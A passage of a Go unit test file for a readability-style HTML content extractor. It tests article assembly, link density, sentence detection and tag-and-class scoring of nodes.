0.1\n\n\t\t\tresult2 := getArticle(topCandidate, candidates)\n\t\t\tresultDoc2, err := goquery.NewDocumentFromReader(strings.NewReader(result2))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse result HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Sibling should NOT be included since its score is below threshold\n\t\t\tif resultDoc2.Find(\"p:contains('Sibling content')\").Length() > 0 {\n\t\t\t\tt.Errorf(\"Sibling with score %f should not be included with threshold %f\", tc.expectedThreshold-0.1, tc.expectedThreshold)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGetArticleParagraphSpecificLogic(t *testing.T) {\n\t// This test focuses specifically on the paragraph-specific logic in getArticle\n\t// where paragraphs are tested against link density and sentence criteria\n\t// even if they're not in the candidates list\n\n\ttestCases := []struct {\n\t\tname           string\n\t\thtml           string\n\t\tcheckParagraph string // text to check for inclusion/exclusion\n\t\tshouldInclude  bool\n\t\treason         string\n\t}{\n\t\t{\n\t\t\tname:           \"long paragraph with high link density should be excluded\",\n\t\t\thtml:           `<html><body><div id=\"main\"><p>Main content</p></div><p>This is a paragraph with lots of <a href=\"#\">links</a> <a href=\"#\">that</a> <a href=\"#\">should</a> <a href=\"#\">make</a> <a href=\"#\">it</a> <a href=\"#\">excluded</a> based on density.</p></body></html>`,\n\t\t\tcheckParagraph: \"This is a paragraph with lots of\",\n\t\t\tshouldInclude:  false,\n\t\t\treason:         \"Long paragraph with >= 25% link density should be excluded\",\n\t\t},\n\t\t{\n\t\t\tname:           \"long paragraph with low link density should be included\",\n\t\t\thtml:           `<html><body><div id=\"main\"><p>Main content</p></div><p>This is a very long paragraph with substantial content that has more than eighty characters and contains only <a href=\"#\">one link</a> so the link density is very low.</p></body></html>`,\n\t\t\tcheckParagraph: \"This is a very long paragraph\",\n\t\t\tshouldInclude:  true,\n\t\t\treason:         \"Long paragraph with < 25% link density should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"short paragraph with no links and sentence should be included\",\n\t\t\thtml:           `<html><body><div id=\"main\"><p>Main content</p></div><p>Short sentence.</p></body></html>`,\n\t\t\tcheckParagraph: \"Short sentence.\",\n\t\t\tshouldInclude:  true,\n\t\t\treason:         \"Short paragraph with 0% link density and sentence should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"short paragraph with no links but no sentence should be excluded\",\n\t\t\thtml:           `<html><body><div id=\"main\"><p>Main content</p></div><p>fragment</p></body></html>`,\n\t\t\tcheckParagraph: \"fragment\",\n\t\t\tshouldInclude:  false,\n\t\t\treason:         \"Short paragraph with 0% link density but no sentence should be excluded\",\n\t\t},\n\t\t{\n\t\t\tname:           \"short paragraph with links should be excluded\",\n\t\t\thtml:           `<html><body><div id=\"main\"><p>Main content</p></div><p>Short with <a href=\"#\">link</a>.</p></body></html>`,\n\t\t\tcheckParagraph: \"Short with\",\n\t\t\tshouldInclude:  false,\n\t\t\treason:         \"Short paragraph with any links should be excluded\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\t// Create a custom scenario where the paragraphs are NOT in the candidates list\n\t\t\t// so we can test the paragraph-specific logic\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Create artificial candidates that only include the main div, not the paragraphs\n\t\t\tmainDiv := doc.Find(\"#main\").Get(0)\n\t\t\ttopCandidate := &candidate{\n\t\t\t\tselection: doc.Find(\"#main\"),\n\t\t\t\tscore:     50,\n\t\t\t}\n\n\t\t\tcandidates := candidateList{\n\t\t\t\tmainDiv: topCandidate,\n\t\t\t\t// Deliberately not including the test paragraphs as candidates\n\t\t\t}\n\n\t\t\tresult := getArticle(topCandidate, candidates)\n\n\t\t\tincluded := strings.Contains(result, tc.checkParagraph)\n\n\t\t\tif included != tc.shouldInclude {\n\t\t\t\tt.Errorf(\"%s: Expected included=%v, got included=%v\\nReason: %s\\nResult: %s\",\n\t\t\t\t\ttc.name, tc.shouldInclude, included, tc.reason, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGetArticleLinkDensityThresholds(t *testing.T) {\n\ttestCases := []struct {\n\t\tname           string\n\t\tcontent        string\n\t\texpectIncluded bool\n\t\tdescription    string\n\t}{\n\t\t{\n\t\t\tname:           \"long content with no links\",\n\t\t\tcontent:        \"This is a very long paragraph with substantial content that should definitely be included because it has more than 80 characters and no links at all.\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Content >= 80 chars with 0% link density should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"long content with acceptable link density\",\n\t\t\tcontent:        \"This is a very long paragraph with substantial content and <a href='#'>one small link</a> that should be included because the link density is well below 25%.\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Content >= 80 chars with < 25% link density should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"long content with high link density\",\n\t\t\tcontent:        \"Short text with <a href='#'>many</a> <a href='#'>different</a> <a href='#'>links</a> here and <a href='#'>more</a> <a href='#'>links</a>.\",\n\t\t\texpectIncluded: true, // This appears to be included because it's processed as a sibling, not just through paragraph logic\n\t\t\tdescription:    \"Content with high link density - actual behavior includes siblings\",\n\t\t},\n\t\t{\n\t\t\tname:           \"short content with no links and sentence\",\n\t\t\tcontent:        \"This is a sentence.\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Content < 80 chars with 0% link density and proper sentence should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"short content with no links but no sentence\",\n\t\t\tcontent:        \"Just a fragment\",\n\t\t\texpectIncluded: true, // The algorithm actually includes all siblings, paragraph rules are additional\n\t\t\tdescription:    \"Content < 80 chars with 0% link density but no sentence - still included as sibling\",\n\t\t},\n\t\t{\n\t\t\tname:           \"short content with links\",\n\t\t\tcontent:        \"Text with <a href='#'>link</a>.\",\n\t\t\texpectIncluded: true, // Still included as sibling\n\t\t\tdescription:    \"Content < 80 chars with any links - still included as sibling\",\n\t\t},\n\t\t{\n\t\t\tname:           \"edge case: exactly 80 characters no links\",\n\t\t\tcontent:        \"This paragraph has exactly eighty characters and should be included ok.\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Content with exactly 80 chars and no links should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"edge case: 79 characters no links with sentence\",\n\t\t\tcontent:        \"This paragraph has seventy-nine characters and should be included.\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Content with 79 chars, no links, and sentence should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"sentence with period at end\",\n\t\t\tcontent:        \"Sentence ending with period.\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Short content ending with period should be included\",\n\t\t},\n\t\t{\n\t\t\tname:           \"sentence with period in middle\",\n\t\t\tcontent:        \"Sentence with period. And more\",\n\t\t\texpectIncluded: true,\n\t\t\tdescription:    \"Short content with period in middle should be included\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\thtml := fmt.Sprintf(`<html><body>\n\t\t\t\t<div id=\"main\"><p>Main content</p></div>\n\t\t\t\t<p>%s</p>\n\t\t\t</body></html>`, tc.content)\n\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tcandidates := getCandidates(doc)\n\t\t\ttopCandidate := getTopCandidate(doc, candidates)\n\n\t\t\tresult := getArticle(topCandidate, candidates)\n\n\t\t\t// Check if the test content was included\n\t\t\tincluded := strings.Contains(result, tc.content) || strings.Contains(result, strings.ReplaceAll(tc.content, `'`, `\"`))\n\n\t\t\tif included != tc.expectIncluded {\n\t\t\t\tt.Errorf(\"%s: Expected included=%v, got included=%v\\nContent: %s\\nResult: %s\",\n\t\t\t\t\ttc.description, tc.expectIncluded, included, tc.content, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGetArticleTagWrapping(t *testing.T) {\n\t// Test that paragraph elements keep their tag, others become div\n\thtml := `<html><body>\n\t\t<div id=\"main\"><p>Main content</p></div>\n\t\t<p>Paragraph content that should stay as p tag.</p>\n\t\t<div>Div content that should become div tag.</div>\n\t\t<span>Span content that should become div tag.</span>\n\t\t<section>Section content that should become div tag.</section>\n\t</body></html>`\n\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t}\n\n\tcandidates := getCandidates(doc)\n\ttopCandidate := getTopCandidate(doc, candidates)\n\n\tresult := getArticle(topCandidate, candidates)\n\n\t// Parse result to verify tag wrapping\n\tresultDoc, err := goquery.NewDocumentFromReader(strings.NewReader(result))\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to parse result HTML: %v\", err)\n\t}\n\n\t// Check that paragraph content is wrapped in <p> tags\n\tparagraphElements := resultDoc.Find(\"p\")\n\tfoundParagraphContent := false\n\tparagraphElements.Each(func(i int, s *goquery.Selection) {\n\t\tif strings.Contains(s.Text(), \"Paragraph content\") {\n\t\t\tfoundParagraphContent = true\n\t\t}\n\t})\n\n\tif !foundParagraphContent {\n\t\tt.Error(\"Paragraph content should be wrapped in <p> tags\")\n\t}\n\n\t// Check that non-paragraph content is wrapped in <div> tags\n\tdivElements := resultDoc.Find(\"div\")\n\tfoundDivContent := false\n\tfoundSpanContent := false\n\tfoundSectionContent := false\n\n\tdivElements.Each(func(i int, s *goquery.Selection) {\n\t\ttext := s.Text()\n\t\tif strings.Contains(text, \"Div content\") {\n\t\t\tfoundDivContent = true\n\t\t}\n\t\tif strings.Contains(text, \"Span content\") {\n\t\t\tfoundSpanContent = true\n\t\t}\n\t\tif strings.Contains(text, \"Section content\") {\n\t\t\tfoundSectionContent = true\n\t\t}\n\t})\n\n\tif !foundDivContent {\n\t\tt.Error(\"Div content should be wrapped in <div> tags\")\n\t}\n\tif !foundSpanContent {\n\t\tt.Error(\"Span content should be wrapped in <div> tags\")\n\t}\n\tif !foundSectionContent {\n\t\tt.Error(\"Section content should be wrapped in <div> tags\")\n\t}\n\n\t// Verify overall structure\n\tif !strings.HasPrefix(result, \"<div>\") || !strings.HasSuffix(result, \"</div>\") {\n\t\tt.Error(\"Result should be wrapped in outer <div> tags\")\n\t}\n}\n\nfunc TestGetArticleEmptyAndEdgeCases(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"empty body\",\n\t\t\thtml:     `<html><body></body></html>`,\n\t\t\texpected: `<div><div></div></div>`, // getTopCandidate returns body, body has no inner HTML\n\t\t},\n\t\t{\n\t\t\tname:     \"only whitespace content\",\n\t\t\thtml:     `<html><body><div id=\"main\">   </div></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\">   </div></div></div>`, // body is top candidate, includes inner div\n\t\t},\n\t\t{\n\t\t\tname:     \"self-closing elements\",\n\t\t\thtml:     `<html><body><div id=\"main\"><p>Content</p><br><img src=\"test.jpg\"></div></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><p>Content</p><br/><img src=\"test.jpg\"/></div></div></div>`, // body includes inner div\n\t\t},\n\t\t{\n\t\t\tname:     \"nested structure with no text\",\n\t\t\thtml:     `<html><body><div id=\"main\"><div><div></div></div></div></body></html>`,\n\t\t\texpected: `<div><div><div id=\"main\"><div><div></div></div></div></div></div>`, // body includes inner div\n\t\t},\n\t\t{\n\t\t\tname:     \"complex nesting with mixed content\",\n\t\t\thtml:     `<html><body><div id=\"main\"><div class=\"inner\"><span>Nested content</span><p>Paragraph in nested structure.</p></div></div></body></html>`,\n\t\t\texpected: `<div><div><div class=\"inner\"><span>Nested content</span><p>Paragraph in nested structure.</p></div></div></div>`, // The #main div gets selected as top candidate, not body\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tcandidates := getCandidates(doc)\n\t\t\ttopCandidate := getTopCandidate(doc, candidates)\n\n\t\t\tresult := getArticle(topCandidate, candidates)\n\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"\\nExpected:\\n%s\\n\\nGot:\\n%s\", tc.expected, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test helper functions used by getArticle\nfunc TestGetLinkDensity(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected float32\n\t}{\n\t\t{\n\t\t\tname:     \"no links\",\n\t\t\thtml:     `<div>This is plain text content with no links at all.</div>`,\n\t\t\texpected: 0.0,\n\t\t},\n\t\t{\n\t\t\tname:     \"all links\",\n\t\t\thtml:     `<div><a href=\"#\">Link one</a><a href=\"#\">Link two</a></div>`,\n\t\t\texpected: 1.0,\n\t\t},\n\t\t{\n\t\t\tname:     \"half links\",\n\t\t\thtml:     `<div>Plain text <a href=\"#\">Link text</a></div>`,\n\t\t\texpected: 0.45, // \"Link text\" is 9 chars, \"Plain text Link text\" is 20 chars\n\t\t},\n\t\t{\n\t\t\tname:     \"nested links\",\n\t\t\thtml:     `<div>Text <a href=\"#\">Link <span>nested</span></a> more text</div>`,\n\t\t\texpected: float32(11) / float32(26), // \"Link nested\" vs \"Text Link nested more text\"\n\t\t},\n\t\t{\n\t\t\tname:     \"empty content\",\n\t\t\thtml:     `<div></div>`,\n\t\t\texpected: 0.0,\n\t\t},\n\t\t{\n\t\t\tname:     \"whitespace only\",\n\t\t\thtml:     `<div>   </div>`,\n\t\t\texpected: 0.0,\n\t\t},\n\t\t{\n\t\t\tname:     \"links with no text\",\n\t\t\thtml:     `<div>Text content <a href=\"#\"></a></div>`,\n\t\t\texpected: 0.0, // Empty link contributes 0 to link length\n\t\t},\n\t\t{\n\t\t\tname:     \"multiple links\",\n\t\t\thtml:     `<div>Start <a href=\"#\">first</a> middle <a href=\"#\">second</a> end</div>`,\n\t\t\texpected: float32(11) / float32(29), // \"firstsecond\" vs \"Start first middle second end\"\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tselection := doc.Find(\"div\").First()\n\t\t\tresult := getLinkDensity(selection)\n\n\t\t\t// Use a small epsilon for float comparison\n\t\t\tepsilon := float32(0.001)\n\t\t\tif result < tc.expected-epsilon || result > tc.expected+epsilon {\n\t\t\t\tt.Errorf(\"Expected link density %f, got %f for %s\", tc.expected, result, tc.name)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestContainsSentence(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\tcontent  string\n\t\texpected bool\n\t}{\n\t\t{\n\t\t\tname:     \"ends with period\",\n\t\t\tcontent:  \"This is a sentence.\",\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"contains period with space\",\n\t\t\tcontent:  \"First sentence. Second sentence\",\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"no sentence markers\",\n\t\t\tcontent:  \"Just a fragment\",\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"period without space\",\n\t\t\tcontent:  \"Something.else\",\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"empty string\",\n\t\t\tcontent:  \"\",\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"only period\",\n\t\t\tcontent:  \".\",\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"period and space at end\",\n\t\t\tcontent:  \"Sentence. \",\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"multiple sentences\",\n\t\t\tcontent:  \"First. Second. Third\",\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"period in middle only\",\n\t\t\tcontent:  \"Text. More text\",\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"whitespace around period\",\n\t\t\tcontent:  \"Text . More\",\n\t\t\texpected: true,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tresult := containsSentence(tc.content)\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"Expected %v for content %q, got %v\", tc.expected, tc.content, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestScoreNode(t *testing.T) {\n\ttestCases := []struct {\n\t\tname          string\n\t\thtml          string\n\t\texpectedScore float32\n\t\texpectedTag   string\n\t}{\n\t\t{\n\t\t\tname:          \"div element with no class or id\",\n\t\t\thtml:          `<div>Some content</div>`,\n\t\t\texpectedScore: 5,\n\t\t\texpectedTag:   \"div\",\n\t\t},\n\t\t{\n\t\t\tname:          \"pre element with no class or id\",\n\t\t\thtml:          `<pre>Some code</pre>`,\n\t\t\texpectedScore: 3,\n\t\t\texpectedTag:   \"pre\",\n\t\t},\n\t\t{\n\t\t\tname:          \"td element with no class or id\",\n\t\t\thtml:          `<table><tr><td>Table cell</td></tr></table>`,\n\t\t\texpectedScore: 3,\n\t\t\texpectedTag:   \"td\",\n\t\t},\n\t\t{\n\t\t\tname:          \"blockquote element with no class or id\",\n\t\t\thtml:          `<blockquote>Quote</blockquote>`,\n\t\t\texpectedScore: 3,\n\t\t\texpectedTag:   \"blockquote\",\n\t\t},\n\t\t{\n\t\t\tname:          \"img element with no class or id\",\n\t\t\thtml:          `<img src=\"test.jpg\" alt=\"test\">`,\n\t\t\texpectedScore: 3,\n\t\t\texpectedTag:   \"img\",\n\t\t},\n\t\t{\n\t\t\tname:          \"ol element with no class or id\",\n\t\t\thtml:          `<ol><li>Item</li></ol>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"ol\",\n\t\t},\n\t\t{\n\t\t\tname:          \"ul element with no class or id\",\n\t\t\thtml:          `<ul><li>Item</li></ul>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"ul\",\n\t\t},\n\t\t{\n\t\t\tname:          \"address element with no class or id\",\n\t\t\thtml:          `<address>Contact info</address>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"address\",\n\t\t},\n\t\t{\n\t\t\tname:          \"dl element with no class or id\",\n\t\t\thtml:          `<dl><dt>Term</dt><dd>Definition</dd></dl>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"dl\",\n\t\t},\n\t\t{\n\t\t\tname:          \"dd element with no class or id\",\n\t\t\thtml:          `<dd>Definition</dd>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"dd\",\n\t\t},\n\t\t{\n\t\t\tname:          \"dt element with no class or id\",\n\t\t\thtml:          `<dt>Term</dt>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"dt\",\n\t\t},\n\t\t{\n\t\t\tname:          \"li element with no class or id\",\n\t\t\thtml:          `<li>List item</li>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"li\",\n\t\t},\n\t\t{\n\t\t\tname:          \"form element with no class or id\",\n\t\t\thtml:          `<form>Form content</form>`,\n\t\t\texpectedScore: -3,\n\t\t\texpectedTag:   \"form\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h1 element with no class or id\",\n\t\t\thtml:          `<h1>Heading</h1>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"h1\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h2 element with no class or id\",\n\t\t\thtml:          `<h2>Heading</h2>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"h2\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h3 element with no class or id\",\n\t\t\thtml:          `<h3>Heading</h3>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"h3\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h4 element with no class or id\",\n\t\t\thtml:          `<h4>Heading</h4>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"h4\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h5 element with no class or id\",\n\t\t\thtml:          `<h5>Heading</h5>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"h5\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h6 element with no class or id\",\n\t\t\thtml:          `<h6>Heading</h6>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"h6\",\n\t\t},\n\t\t{\n\t\t\tname:          \"th element with no class or id\",\n\t\t\thtml:          `<table><tr><th>Header cell</th></tr></table>`,\n\t\t\texpectedScore: -5,\n\t\t\texpectedTag:   \"th\",\n\t\t},\n\t\t{\n\t\t\tname:          \"p element with no class or id (default case)\",\n\t\t\thtml:          `<p>Paragraph content</p>`,\n\t\t\texpectedScore: 0,\n\t\t\texpectedTag:   \"p\",\n\t\t},\n\t\t{\n\t\t\tname:          \"span element with no class or id (default case)\",\n\t\t\thtml:          `<span>Span content</span>`,\n\t\t\texpectedScore: 0,\n\t\t\texpectedTag:   \"span\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\n\t\t\tselection := doc.Find(tc.expectedTag)\n\t\t\tif selection.Length() == 0 {\n\t\t\t\tt.Fatalf(\"Could not find element with tag %s\", tc.expectedTag)\n\t\t\t}\n\n\t\t\tcandidate := scoreNode(selection)\n\n\t\t\tif candidate.score != tc.expectedScore {\n\t\t\t\tt.Errorf(\"Expected score %f, got %f\", tc.expectedScore, candidate.score)\n\t\t\t}\n\n\t\t\tif candidate.selection != selection {\n\t\t\t\tt.Error(\"Expected selection to be preserved in candidate\")\n\t\t\t}\n\n\t\t\tif candidate.Node() == nil {\n\t\t\t\tt.Errorf(\"Expected valid node, got nil\")\n\t\t\t} else if candidate.Node().Data != tc.expectedTag {\n\t\t\t\tt.Errorf(\"Expected node tag %s, got %s\", tc.expectedTag, candidate.Node().Data)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestScoreNodeWithClassWeights(t *testing.T) {\n\ttestCases := []struct {\n\t\tname          string\n\t\thtml          string\n\t\texpectedScore float32\n\t\tdescription   string\n\t}{\n\t\t{\n\t\t\tname:          \"div with positive class\",\n\t\t\thtml:          `<div class=\"content\">Content</div>`,\n\t\t\texpectedScore: 30, // 5 (div) + 25 (positive class)\n\t\t\tdescription:   \"div base score + positive class weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"div with negative class\",\n\t\t\thtml:          `<div class=\"comment\">Content</div>`,\n\t\t\texpectedScore: -20, // 5 (div) + (-25) (negative class)\n\t\t\tdescription:   \"div base score + negative class weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"div with positive id\",\n\t\t\thtml:          `<div id=\"main\">Content</div>`,\n\t\t\texpectedScore: 30, // 5 (div) + 25 (positive id)\n\t\t\tdescription:   \"div base score + positive id weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"div with negative id\",\n\t\t\thtml:          `<div id=\"sidebar\">Content</div>`,\n\t\t\texpectedScore: -20, // 5 (div) + (-25) (negative id)\n\t\t\tdescription:   \"div base score + negative id weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"div with both positive class and id\",\n\t\t\thtml:          `<div class=\"content\" id=\"main\">Content</div>`,\n\t\t\texpectedScore: 55, // 5 (div) + 25 (positive class) + 25 (positive id)\n\t\t\tdescription:   \"div base score + positive class weight + positive id weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"div with both negative class and id\",\n\t\t\thtml:          `<div class=\"comment\" id=\"sidebar\">Content</div>`,\n\t\t\texpectedScore: -45, // 5 (div) + (-25) (negative class) + (-25) (negative id)\n\t\t\tdescription:   \"div base score + negative class weight + negative id weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"div with mixed class and id weights\",\n\t\t\thtml:          `<div class=\"content\" id=\"sidebar\">Content</div>`,\n\t\t\texpectedScore: 5, // 5 (div) + 25 (positive class) + (-25) (negative id)\n\t\t\tdescription:   \"div base score + positive class weight + negative id weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"h1 with positive class (should still be negative overall)\",\n\t\t\thtml:          `<h1 class=\"content\">Heading</h1>`,\n\t\t\texpectedScore: 20, // -5 (h1) + 25 (positive class)\n\t\t\tdescription:   \"h1 base score + positive class weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"ul with negative class (more negative)\",\n\t\t\thtml:          `<ul class=\"comment\">List</ul>`,\n\t\t\texpectedScore: -28, // -3 (ul) + (-25) (negative class)\n\t\t\tdescription:   \"ul base score + negative class weight\",\n\t\t},\n\t\t{\n\t\t\tname:          \"p with neutral class/id (no weight change)\",\n\t\t\thtml:          `<p class=\"normal\" id=\"regular\">Paragraph</p>`,\n\t\t\texpectedScore: 0, // 0 (p) + 0 (neutral class) + 0 (neutral id)\n\t\t\tdescription:   \"p base score with neutral class and id\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\n\t\t\t// Find the first non-html/body element\n\t\t\tselection := doc.Find(\"div, h1, h2, h3, h4, h5, h6, ul, ol, p, pre, blockquote, img, td, th, address, dl, dd, dt, li, form, span\").First()\n\t\t\tif selection.Length() == 0 {\n\t\t\t\tt.Fatal(\"Could not find element\")\n\t\t\t}\n\n\t\t\tcandidate := scoreNode(selection)\n\n\t\t\tif candidate.score != tc.expectedScore {\n\t\t\t\tt.Errorf(\"%s: Expected score %f, got %f\", tc.description, tc.expectedScore, candidate.score)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestScoreNodeEdgeCases(t *testing.T) {\n\tt.Run(\"empty selection\", func(t *testing.T) {\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(`<div></div>`))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\t// Create empty selection\n\t\temptySelection := doc.Find(\"nonexistent\")\n\t\tif emptySelection.Length() != 0 {\n\t\t\tt.Fatal(\"Expected empty selection\")\n\t\t}\n\n\t\t// scoreNode should handle empty selection gracefully\n\t\tcandidate := scoreNode(emptySelection)\n\t\tif candidate == nil {\n\t\t\tt.Error(\"Expected non-nil candidate even for empty selection\")\n\t\t}\n\n\t\t// Should have score 0 and empty selection\n\t\tif candidate != nil && candidate.score != 0 {\n\t\t\tt.Errorf(\"Expected score 0 for empty selection, got %f\", candidate.score)\n\t\t}\n\n\t\tif candidate.selection.Length() != 0 {\n\t\t\tt.Error(\"Expected candidate to preserve empty selection\")\n\t\t}\n\n\t\t// Node() should return nil for empty selection\n\t\tif candidate.Node() != nil {\n\t\t\tt.Error(\"Expected Node() to return nil for empty selection\")\n\t\t}\n\n\t\t// String() should handle empty selection gracefully\n\t\tstr := candidate.String()\n\t\texpected := \"empty => 0.000000\"\n\t\tif str != expected {\n\t\t\tt.Errorf(\"Expected String() to return %q, got %q\", expected, str)\n\t\t}\n\t})\n\n\tt.Run(\"multiple elements in selection\", func(t *testing.T) {\n\t\thtml := `<div>\n\t\t\t<p class=\"article\">First paragraph</p>\n\t\t\t<p class=\"sidebar\">Second paragraph</p>\n\t\t</div>`\n\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\t// Select all p elements\n\t\tselection := doc.Find(\"p\")\n\t\tif selection.Length() != 2 {\n\t\t\tt.Fatalf(\"Expected 2 p elements, got %d\", selection.Length())\n\t\t}\n\n\t\t// scoreNode should only consider the first element in the selection\n\t\tcandidate := scoreNode(selection)\n\n\t\t// Should score based on first p element (class=\"article\")\n\t\texpectedScore := float32(25) // 0 (p) + 25 (positive class)\n\t\tif candidate.score != expectedScore {\n\t\t\tt.Errorf(\"Expected score %f, got %f\", expectedScore, candidate.score)\n\t\t}\n\n\t\tif candidate.Node() == nil {\n\t\t\tt.Error(\"Expected valid node, got nil\")\n\t\t} else if candidate.Node().Data != \"p\" {\n\t\t\tt.Errorf(\"Expected node tag p, got %s\", candidate.Node().Data)\n\t\t}\n\t})\n\n\tt.Run(\"nested elements\", func(t *testing.T) {\n\t\thtml := `<div class=\"article\">\n\t\t\t<p class=\"content\">\n\t\t\t\t<span class=\"highlight\">Text</span>\n\t\t\t</p>\n\t\t</div>`\n\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\t// Test scoring each level\n\t\tdivSelection := doc.Find(\"div\")\n\t\tdivCandidate := scoreNode(divSelection)\n\t\texpectedDivScore := float32(30) // 5 (div) + 25 (positive class)\n\t\tif divCandidate.score != expectedDivScore {\n\t\t\tt.Errorf(\"Div score: expected %f, got %f\", expectedDivScore, divCandidate.score)\n\t\t}\n\n\t\tpSelection := 